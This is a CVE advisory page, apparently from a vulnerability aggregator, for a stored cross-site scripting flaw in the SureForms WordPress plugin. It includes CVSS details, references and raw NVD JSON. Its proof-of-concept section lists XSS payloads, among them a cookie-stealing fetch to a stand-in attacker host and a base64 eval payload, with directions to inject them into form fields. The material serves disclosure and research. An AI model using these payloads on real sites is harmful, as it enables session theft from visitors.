CVE-2025-14855

Description

The SureForms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form field parameters in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SureForms WordPress Plugin ≤ 2.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14855 PoC: SureForms Stored XSS via Form Field Parameters -->
<!-- Payload for injecting malicious JavaScript via form field -->

<!-- Basic XSS payload -->
<script>alert(document.cookie)</script>

<!-- Event handler based XSS -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

<!-- More sophisticated payload for cookie stealing -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- Stealth payload using SVG -->
<svg><script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script></svg>

<!-- Usage: Inject any of these payloads into SureForms form field parameters (label, placeholder, etc.) -->
<!-- The injected script will execute when users access pages containing the affected form -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14855
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14855
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14855/
[4] VulDB https://vuldb.com/cve/CVE-2025-14855
[5] https://plugins.trac.wordpress.org/browser/sureforms/tags/2.2.0/assets/build/entries.js
[6] https://plugins.trac.wordpress.org/changeset/3423684/sureforms
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/5e493f01-95db-48ba-8daf-d7ff69df29bf?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14855", "sourceIdentifier": "[email protected]", "published": "2025-12-21T08:15:49.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SureForms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form field parameters in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sureforms/tags/2.2.0/assets/build/entries.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3423684/sureforms", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e493f01-95db-48ba-8daf-d7ff69df29bf?source=cve", "source": "[email protected]"}]}}